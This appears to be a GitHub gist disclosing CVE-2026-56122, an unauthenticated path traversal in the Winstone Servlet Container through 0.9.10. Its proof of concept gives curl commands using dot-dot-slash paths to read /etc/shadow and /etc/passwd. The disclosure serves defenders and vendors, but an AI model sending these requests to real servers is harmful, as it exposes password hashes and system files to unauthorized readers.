Skip to content

Instantly share code, notes, and snippets.

@VAMorales

VAMorales/RickKnowles-WinstoneServletContainerAFR.md

Created June 25, 2026 11:41
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save VAMorales/ce93f10215c43b2a8344426f4dd59cd3 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save VAMorales/ce93f10215c43b2a8344426f4dd59cd3 to your computer and use it in GitHub Desktop.
Download ZIP
Rick Knowles Winstone Servlet Container - Unauthenticated Arbitrary File Read - (CVE-2026-56122)
Raw
RickKnowles-WinstoneServletContainerAFR.md

1. Exploit Title: Rick Knowles Winstone Servlet Container - Unauthenticated Arbitrary File Read

Disclosure Date: 06/25/2026

CVE ID: CVE-2026-56122

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Vendor Homepage: https://sourceforge.net/projects/winstone/

Known Affected Versions: 0.9.10 and prior

Description

Winstone Servlet Engine through 0.9.10 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by sending HTTP GET requests with dot-dot-slash sequences that are not sanitized when serving static files from the configured webroot. Attackers can traverse outside the webroot directory using traversal-prefixed paths in a single HTTP request to read any file accessible to the servlet engine process, including sensitive system files when the service runs with elevated privileges.

PoC

Example running with elevated privileges:

curl --path-as-is 'http://<host>:<port>/../../../../../../etc/shadow'

Example running with low privileges:

curl --path-as-is 'http://<host>:<port>/../../../../../../etc/passwd'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment